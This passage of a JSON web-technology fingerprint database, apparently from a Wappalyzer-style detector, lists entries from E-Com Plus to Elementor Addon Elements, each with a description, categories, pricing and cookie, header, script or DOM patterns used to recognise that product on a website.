    "content": "{\n  \"E-Com Plus\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"E-Com Plus is an open fair-code ecommerce platform designed to be used with headless commerce APIs.\",\n    \"icon\": \"E-Com Plus.svg\",\n    \"implies\": [\n      \"Vue.js\",\n      \"TypeScript\"\n    ],\n    \"js\": {\n      \"ecomPassport.storageKey\": \"ecomPassportClient\"\n    },\n    \"meta\": {\n      \"generator\": \"^E-Com\\\\sPlus\\\\sStorefront$\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ecomplus.io\"\n  },\n  \"E-monsite\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"E-monsite is a web-based platform that allows users to create and customise their own websites using a range of templates and features, without requiring coding or technical skills.\",\n    \"icon\": \"E-monsite.svg\",\n    \"implies\": [\n      \"Symfony\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"^e-monsite\\\\s\\\\(e-monsite\\\\.com\\\\)$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.e-monsite.com\"\n  },\n  \"EC-CUBE\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:lockon:ec-cube:*:*:*:*:*:*:*:*\",\n    \"description\": \"EC-CUBE is an open source package used to build ecommerce sites.\",\n    \"icon\": \"EC-CUBE.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"eccube\\\\.js\",\n      \"win_op\\\\.js\"\n    ],\n    \"website\": \"https://www.ec-cube.net\"\n  },\n  \"ECharts\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"ECharts is an open-source JavaScript visualisation library.\",\n    \"dom\": [\n      \"div[_echarts_instance_]\"\n    ],\n    \"icon\": \"echarts.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/echarts\\\\.min\\\\.[a-zA-Z0-9]*\\\\.js\",\n      \"/echarts(?:\\\\.simple)?(?:\\\\.esm)?(?:\\\\.common)?(?:\\\\.min)?\\\\.js\",\n      \"cdn\\\\.jsdelivr\\\\.net/(?:npm|gh/apache)/echarts@([\\\\d.]+(?:-[^/]+)?|latest)/dist/echarts.*\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://echarts.apache.org/\"\n  },\n  \"EKM\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"ekmpowershop\": \"\"\n    },\n    \"description\": \"EKM is an all-in-one online store builder, with the company based in the UK.\",\n    \"icon\": \"EKM.svg\",\n    \"js\": {\n      \"_ekmpinpoint\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ekm.com\"\n  },\n  \"ELOG\": {\n    \"cats\": [\n      19\n    ],\n    \"html\": [\n      \"<title>ELOG Logbook Selection</title>\"\n    ],\n    \"icon\": \"ELOG.png\",\n    \"website\": \"https://midas.psi.ch/elog\"\n  },\n  \"ELOG HTTP\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"ELOG HTTP ?([\\\\d.-]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"ELOG.png\",\n    \"implies\": [\n      \"ELOG\"\n    ],\n    \"website\": \"https://midas.psi.ch/elog\"\n  },\n  \"EPrints\": {\n    \"cats\": [\n      19\n    ],\n    \"icon\": \"EPrints.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"js\": {\n      \"EPJS_menu_template\": \"\",\n      \"EPrints\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"EPrints ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.eprints.org\"\n  },\n  \"ERPNext\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*\",\n    \"description\": \"ERPNext is a free and open-source integrated Enterprise Resource Planning (ERP) software developed by Frappe Technologies.\",\n    \"icon\": \"ERPNext.svg\",\n    \"implies\": [\n      \"Frappe\"\n    ],\n    \"js\": {\n      \"erpnext.shopping_cart\": \"\",\n      \"erpnext.subscribe_to_newsletter\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://erpnext.com\"\n  },\n  \"ESW\": {\n    \"cats\": [\n      106\n    ],\n    \"description\": \"ESW (eShopWorld) is a company providing payments, shipping, and delivery services focusing on cross-border ecommerce.\",\n    \"icon\": \"ESW.svg\",\n    \"js\": {\n      \"eshopworld\": \"\",\n      \"eswRetailerDisplayConfiguration\": \"\"\n    },\n    \"scriptSrc\": [\n      \"Eswhooks\\\\.js\"\n    ],\n    \"website\": \"https://esw.com\"\n  },\n  \"EWWW Image Optimizer\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"description\": \"EWWW Image Optimizer is an image optimisation WordPress plugin designed to improve the performance of your website.\",\n    \"icon\": \"EWWW Image Optimizer.png\",\n    \"js\": {\n      \"ewww_webp_supported\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/ewww-image-optimizer/\"\n    ],\n    \"website\": \"https://github.com/nosilver4u/ewww-image-optimizer\"\n  },\n  \"EX.CO\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"EX.CO (formerly Playbuzz) is an online publishing platform for publishers, brand agencies, and individual content creators to create content in interactive formats such as polls, quizzes, lists, video snippets, slideshows, and countdowns.\",\n    \"icon\": \"EX.CO.svg\",\n    \"js\": {\n      \"__EXCO\": \"\",\n      \"__EXCO_INTEGRATION_TYPE\": \"\",\n      \"excoPixelUrl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.ex\\\\.co\",\n      \"\\\\.playbuzz\\\\.com\"\n    ],\n    \"website\": \"https://ex.co\",\n    \"xhr\": [\n      \"prd-collector-anon\\\\.ex\\\\.co\"\n    ]\n  },\n  \"EZLynx\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"EZLynx is a cloud-based software offering real-time comparative insurance rating, integrating with over 330 carriers for automated quoting and policy management​.\",\n    \"icon\": \"EZLynx.svg\",\n    \"meta\": {\n      \"author\": \"^EZLynx$\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ezlynx\\\\.com/\"\n    ],\n    \"website\": \"https://www.ezlynx.com\"\n  },\n  \"EZproxy\": {\n    \"cats\": [\n      22,\n      64\n    ],\n    \"description\": \"EZproxy is a web server and a reverse proxy that is usually used by libraries as a reverse proxy in front of electronic educational resources databases (e.g.: Scopus, PubMed, or Web of Science) in order to provide authentication and protect privacy.\",\n    \"excludes\": [\n      \"Apache HTTP Server\",\n      \"Nginx\"\n    ],\n    \"headers\": {\n      \"server\": \"^EZproxy$\"\n    },\n    \"icon\": \"default.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.oclc.org/en/ezproxy.html\"\n  },\n  \"Easy Accordion\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Easy Accordion is a flexible and customisable accordion and FAQs builder plugin for WordPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/easy-accordion-free/']\"\n    ],\n    \"icon\": \"EasyAccordion.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/easy-accordion-free/\"\n    ],\n    \"website\": \"https://easyaccordion.io\"\n  },\n  \"Easy Hide PayPal\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Easy Hide PayPal hides PayPal button from product page, cart and checkout but keep PayPal as payment option in checkout.\",\n    \"icon\": \"Easy Hide PayPal.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"easyhide\\\\.herculesapps\\\\.com/\"\n    ],\n    \"website\": \"https://apps.shopify.com/easyhide\"\n  },\n  \"Easy Orders\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Easy Orders is an ecommerce platform that offers a pricing plan where users can create their online store and pay a fee of 0.5 EGP per order.\",\n    \"dom\": [\n      \"img[src*='easyorders.fra1.digitaloceanspaces.com/'], link[href*='easyorders.fra1.digitaloceanspaces.com/']\"\n    ],\n    \"icon\": \"Easy Orders.svg\",\n    \"implies\": [\n      \"PostgreSQL\",\n      \"Go\",\n      \"Node.js\"\n    ],\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"requires\": [\n      \"Next.js\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.easy-orders.net\",\n    \"xhr\": [\n      \"api\\\\.easy-orders\\\\.net/\"\n    ]\n  },\n  \"Easy Pie Chart\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Lightweight jQuery plugin to render and animate nice pie charts with the HTML5 canvas element.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"[Ee]asy-?[Pp]ie-?[Cc]hart(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://rendro.github.io/easy-pie-chart/\"\n  },\n  \"Easy Redirects\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Easy Redirects is a Shopify app built by Eastside, and part of the best Shopify Apps collection.\",\n    \"icon\": \"Easy Redirects.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"easy-redirects\\\\..+/redirect-app\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/easyredirects\"\n  },\n  \"EasyBroker\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"EasyBroker is a property management platform facilitating sharing of properties through WhatsApp and email.\",\n    \"icon\": \"EasyBroker.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.easybroker\\\\.com/\"\n    ],\n    \"website\": \"https://www.easybroker.com\"\n  },\n  \"EasyDigitalDownloads\": {\n    \"cats\": [\n      6,\n      87\n    ],\n    \"description\": \"Easy Digital Downloads is a WordPress ecommerce plugin that focuses purely on digital products.\",\n    \"icon\": \"EasyDigitalDownloads.svg\",\n    \"meta\": {\n      \"generator\": \"^Easy Digital Downloads v(.*)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://easydigitaldownloads.com\"\n  },\n  \"EasyEngine\": {\n    \"cats\": [\n      47,\n      9\n    ],\n    \"description\": \"EasyEngine is a command-line tool for the Nginx web servers to manage WordPress sites that are running on the LEMP Stack.\",\n    \"headers\": {\n      \"x-powered-by\": \"^EasyEngine (.*)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"EasyEngine.svg\",\n    \"implies\": [\n      \"Docker\"\n    ],\n    \"website\": \"https://easyengine.io\"\n  },\n  \"EasyGift\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"EasyGift is a tool that automates the addition of free gifts or products to the cart based on custom rules, allowing for upsells, BOGO (Buy 1 Get 1) offers, and the creation of rules based on cart value or specific products, with the ability to schedule start times for offer activation.\",\n    \"icon\": \"EasyGift.svg\",\n    \"js\": {\n      \"EasyGift.nonTargetingRules\": \"\",\n      \"EasyGiftScriptLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/gifter-cart-auto-include\"\n  },\n  \"EasyStore\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"EasyStore is a multi sales channel ecommerce platform.\",\n    \"icon\": \"EasyStore.svg\",\n    \"js\": {\n      \"EasyStore\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.easystore\\\\.co/\"\n    ],\n    \"website\": \"https://www.easystore.co\"\n  },\n  \"EasyUI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"EasyUI is a UI framework that provides a set of customizable components and widgets for building interactive web applications.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/jquery\\\\.easyui\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://jeasyui.com\"\n  },\n  \"Easylog\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"EasyLog is a logistics company based in Brazil.\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bEasylog\\\\b\"\n    ],\n    \"website\": \"https://www.easylog.com.br\"\n  },\n  \"Ebasnet\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Ebasnet is a web project creation and management platform in the cloud. It allows anyone to set up an online store or corporate website without prior IT knowledge.\",\n    \"icon\": \"Ebasnet.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Varnish\",\n      \"Symfony\"\n    ],\n    \"meta\": {\n      \"author\": \"^Ebasnet Web Solutions$\"\n    },\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdnebasnet\\\\.com/\"\n    ],\n    \"website\": \"https://ebasnet.com\"\n  },\n  \"EcForce\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_ec_force_session\": \"\"\n    },\n    \"description\": \"EcForce is an all-in-one ecommerce platform with all the functions necessary for ecommerce, from landing-page creation to order and customer data management analysis.\",\n    \"icon\": \"EcForce.svg\",\n    \"implies\": [\n      \"Ruby\",\n      \"Ruby on Rails\",\n      \"Nginx\"\n    ],\n    \"js\": {\n      \"EcForce.Models\": \"\",\n      \"EcForce.Models.Shop\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ec-force.com\"\n  },\n  \"EcomArtists\": {\n    \"cats\": [\n      6,\n      76\n    ],\n    \"description\": \"EcomArtists is a provider of custom drawn products and gifts, tailored for personalisation, ideal for sharing with loved ones.\",\n    \"icon\": \"EcomArtists.svg\",\n    \"js\": {\n      \"ECOMARTISTS_UPLOAD\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.ecomartists\\\\.com/\"\n    ],\n    \"website\": \"https://ecomartists.com\"\n  },\n  \"EcomScout\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"EcomScout is a platform providing AI-powered tools for analytics, attribution, merchandising, and forecasting.\",\n    \"icon\": \"EcomScout.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.ecomscout\\\\.io/\"\n    ],\n    \"website\": \"https://ecomscout.io\"\n  },\n  \"Ecommercen\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Ecommercen is an ecommerce solution designed to facilitate online sales, manage transactions, and streamline the customer shopping experience.\",\n    \"icon\": \"Ecommercen.svg\",\n    \"js\": {\n      \"EcomnTag.Tag\": \"\",\n      \"ecomnTag.dataLayer\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.ecommercen.com\"\n  },\n  \"Econda\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Econda is a provider of web analytics solutions for online shops, offering detailed insights into customer behaviour, website performance, and sales optimisation.\",\n    \"icon\": \"Econda.svg\",\n    \"js\": {\n      \"econda\": \"\",\n      \"econdaActive\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.econda.de\"\n  },\n  \"Ecovium\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Ecovium is an end-to-end logistics company in Germany.\",\n    \"icon\": \"Ecovium.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bMHP\\\\b\",\n      \"\\\\bEcovium\\\\b\"\n    ],\n    \"website\": \"https://ecovium.com\"\n  },\n  \"Ecwid\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Ecwid is a shopping cart plugin that turns any existing website into an online store.\",\n    \"icon\": \"ecwid.svg\",\n    \"js\": {\n      \"Ecwid\": \"\",\n      \"EcwidCart\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"https://app\\\\.multiscreenstore\\\\.com/script\\\\.js\",\n      \"https://app\\\\.ecwid\\\\.com/script\\\\.js\"\n    ],\n    \"website\": \"https://www.ecwid.com/\"\n  },\n  \"EdgeCast\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"EdgeCast is a content delivery network (CDN) that accelerated and delivers static content to users around the world.\",\n    \"headers\": {\n      \"Server\": \"^ECD\\\\s\\\\(\\\\S+\\\\)\"\n    },\n    \"icon\": \"EdgeCast.svg\",\n    \"url\": [\n      \"https?://(?:[^/]+\\\\.)?edgecastcdn\\\\.net/\"\n    ],\n    \"website\": \"https://www.edgecast.com\"\n  },\n  \"Edgio\": {\n    \"cats\": [\n      31,\n      62\n    ],\n    \"cookies\": {\n      \"layer0_bucket\": \"\",\n      \"layer0_destination\": \"\",\n      \"layer0_eid\": \"\"\n    },\n    \"description\": \"Edgio is an integrated suite of Edge services, from Delivery to Compute.\",\n    \"headers\": {\n      \"x-0-status\": \"\",\n      \"x-0-t\": \"\",\n      \"x-0-version\": \"^\\\\d+ ([\\\\d.]+) \\\\;version:\\\\1\"\n    },\n    \"icon\": \"Edgio.svg\",\n    \"js\": {\n      \"Layer0.Metrics\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/__layer0__/cache-manifest\\\\.js\"\n    ],\n    \"website\": \"https://edg.io\"\n  },\n  \"Editor.js\": {\n    \"cats\": [\n      24\n    ],\n    \"description\": \"Editor.js is a Javascript library which allows developers to implement a block base text editor with plugins on their page.\",\n    \"icon\": \"Editor.js.svg\",\n    \"js\": {\n      \"EditorJS\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://editorjs.io\"\n  },\n  \"Edrone\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Edrone is a purpose-built ecommerce CRM that includes marketing automation and voice commerce features.\",\n    \"icon\": \"Edrone.svg\",\n    \"js\": {\n      \"_edrone\": \"\",\n      \"_edrone.version\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"_edrone_send_handler\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://edrone.me\"\n  },\n  \"Edugram\": {\n    \"cats\": [\n      32,\n      71\n    ],\n    \"description\": \"Edugram is an affiliate program and CPA network for monetizing educational traffic.\",\n    \"dom\": [\n      \"form[action*='edugram.com/']\"\n    ],\n    \"icon\": \"Edugram.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.edugram\\\\.com/\"\n    ],\n    \"website\": \"https://edugram.com\"\n  },\n  \"Edwiser Bridge\": {\n    \"cats\": [\n      21,\n      87\n    ],\n    \"description\": \"Edwiser Bridge is a Wordpress plugin facilitating the sale of Moodle courses with synchronized data and single sign-on capability.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/edwiser-bridge']\"\n    ],\n    \"icon\": \"EdwiserBridge.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/edwiser-bridge(?:-sso|-pro)?/public/assets/js/.+\\\\.js\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://edwiser.org\"\n  },\n  \"Effiliation\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Effiliation is a performance marketing platform and affiliate network that facilitates partnerships between advertisers and publishers for commission-based promotion of products and services.\",\n    \"icon\": \"Effiliation.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.effiliation\\\\.com/\"\n    ],\n    \"website\": \"https://www.effiliation.com\"\n  },\n  \"Efilli\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Efilli is a tool used to manage cookies on websites, providing users with data privacy control through GDPR compliance.\",\n    \"icon\": \"Efilli.svg\",\n    \"js\": {\n      \"EFILLI_GLOBAL_OPTIONS\": \"\",\n      \"Efilli\": \"\",\n      \"efilli.__cookieBlocker\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://efilli.com\"\n  },\n  \"Eggplant\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"Eggplant is a software testing and monitoring company.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.eggplant\\\\.cloud\"\n    },\n    \"icon\": \"Eggplant.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.eggplant\\\\.cloud/\"\n    ],\n    \"website\": \"https://www.eggplantsoftware.com\"\n  },\n  \"Ektron CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:ektron:ektron_content_management_system:*:*:*:*:*:*:*:*\",\n    \"description\": \"Ektron CMS is developed on the Microsoft .NET framework and is 100% ASP.NET. In 2015 Ektron merged with EPiServer.\",\n    \"icon\": \"Optimizely.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"Ektron\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/ektron\\\\.javascript\\\\.ashx\"\n    ],\n    \"website\": \"https://www.optimizely.com/ektron-cms\"\n  },\n  \"Elastic APM\": {\n    \"cats\": [\n      10,\n      13,\n      78\n    ],\n    \"description\": \"Elastic APM offers free and open application performance monitoring.\",\n    \"icon\": \"ElasticAPM.svg\",\n    \"implies\": [\n      \"Elasticsearch\"\n    ],\n    \"js\": {\n      \"elasticApm\": \"\"\n    },\n    \"website\": \"https://www.elastic.co/apm\"\n  },\n  \"ElasticPress\": {\n    \"cats\": [\n      87\n    ],\n    \"cpe\": \"cpe:2.3:a:10up:elasticpress:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"ElasticPress is a hosting service that connects your WordPress site to search hosting.\",\n    \"headers\": {\n      \"x-elasticpress-query\": \"\"\n    },\n    \"icon\": \"elasticpress.svg\",\n    \"implies\": [\n      \"Elasticsearch\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"freemium\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.elasticpress.io/\"\n  },\n  \"ElasticSuite\": {\n    \"cats\": [\n      29\n    ],\n    \"cookies\": {\n      \"STUID\": \"\\\\;confidence:50\",\n      \"STVID\": \"\\\\;confidence:50\"\n    },\n    \"description\": \"ElasticSuite is a merchandising suite for Magento and OroCommerce.\",\n    \"icon\": \"ElasticSuite.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Elasticsearch\"\n    ],\n    \"js\": {\n      \"smileTracker\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"OroCommerce\",\n      \"Magento\"\n    ],\n    \"scriptSrc\": [\n      \"/Smile_ElasticsuiteTracker/\"\n    ],\n    \"website\": \"https://elasticsuite.io\"\n  },\n  \"Elasticsearch\": {\n    \"cats\": [\n      29\n    ],\n    \"cpe\": \"cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*\",\n    \"description\": \"Elasticsearch is a search engine based on the Lucene library. It provides a distributed, multitenant-capable full-text search engine with an HTTP web interface and schema-free JSON documents.\",\n    \"dom\": [\n      \"div#topsearchelastic_widget\"\n    ],\n    \"icon\": \"Elasticsearch.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.elastic.co\"\n  },\n  \"Elcodi\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"X-Elcodi\": \"\"\n    },\n    \"icon\": \"Elcodi.png\",\n    \"implies\": [\n      \"PHP\",\n      \"Symfony\"\n    ],\n    \"website\": \"https://elcodi.io\"\n  },\n  \"Elcom\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"The Elcom Platform is a web content management and intranet portal software written in Microsoft ASP.NET and SQL Server by Elcom Technology.\",\n    \"icon\": \"elcom.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"^elcomCMS\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"text\": [\n      \"Web CMS by Elcom\"\n    ],\n    \"website\": \"https://www.elcom.com.au/\"\n  },\n  \"Eleanor CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:eleanor-cms:eleanor_cms:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Eleanor CMS.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Eleanor\"\n    },\n    \"website\": \"https://eleanor-cms.ru\"\n  },\n  \"Element\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Element is a Matrix-based end-to-end encrypted messenger and secure collaboration app.\",\n    \"icon\": \"elementio.svg\",\n    \"meta\": {\n      \"application-name\": \"^Element$\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"low\"\n    ],\n    \"website\": \"https://element.io\"\n  },\n  \"Element UI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Element UI is an open-source component library specifically designed for Vue.js, offering a collection of pre-designed UI components such as buttons, forms, tables, and modals.\",\n    \"dom\": {\n      \"[class*='el-']\": {\n        \"attributes\": {\n          \"class\": \"el-(?:table-column|table-filter|popper|pagination|pager|select-group|form|form-item|color-predefine|color-hue-slider|color-svpanel|color-alpha-slider|color-dropdown|color-picker|badge|tree|tree-node|select|message|dialog|checkbox|checkbox-button|checkbox-group|container|steps|carousel|menu|menu-item|submenu|menu-item-group|button|button-group|card|table|select-dropdown|row|tabs|notification|radio|progress|progress-bar|tag|popover|tooltip|cascader|cascader-menus|cascader-menu|time-spinner|spinner|spinner-inner|transfer|transfer-panel|rate|slider|dropdown|dropdown-menu|textarea|input|input-group|popup-parent|radio-group|main|breadcrumb|time-range-picker|date-range-picker|year-table|date-editor|range-editor|time-spinner|date-picker|time-panel|date-table|month-table|picker-panel|collapse|collapse-item|alert|select-dropdown|select-dropdown__empty|select-dropdown__wrap|select-dropdown__list|scrollbar|switch|carousel|upload|upload-dragger|upload-list|upload-cover|aside|input-number|header|message-box|footer|radio-button|step|autocomplete|autocomplete-suggestion|loading-parent|loading-mask|loading-spinner)\"\n        }\n      }\n    },\n    \"icon\": \"ElementUI.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"Vue.js\"\n    ],\n    \"website\": \"https://element.eleme.io/\"\n  },\n  \"Elementor\": {\n    \"cats\": [\n      51,\n      87\n    ],\n    \"description\": \"Elementor is a website builder platform for professionals on WordPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/elementor/']\"\n    ],\n    \"icon\": \"Elementor.svg\",\n    \"js\": {\n      \"ElementorProFrontendConfig\": \"\",\n      \"elementorFrontend.getElements\": \"\",\n      \"elementorFrontendConfig.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"elementorModules\": \"\",\n      \"elementorProFrontend\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Elementor\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/elementor(?:-pro)?/.+frontend-modules\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://elementor.com\"\n  },\n  \"Elementor Addon Elements\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Widgets and extensions to extend the Elementor Page Builder.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/addon-elements-for-elementor-page-builder/']\"\n    ],\n    \"icon\": \"Elementor Addon Elements.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"addon-elements-for-elementor-page-builder(?:\\\\/assets)?(?:\\\\/js)?(?:\\\\/lib)?(?:\\\\/animated-main)?(?:\\\\/build)?(?:\\\\/eae)?(?:\\\\/iconHelper)?(?:\\\\/index)?(?:\\\\/magnific)?(?:\\\\/particles)?(?:\\\\/vegas){0,2}(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/addon-elements-for-elementor-page-builder\"\n  },\n  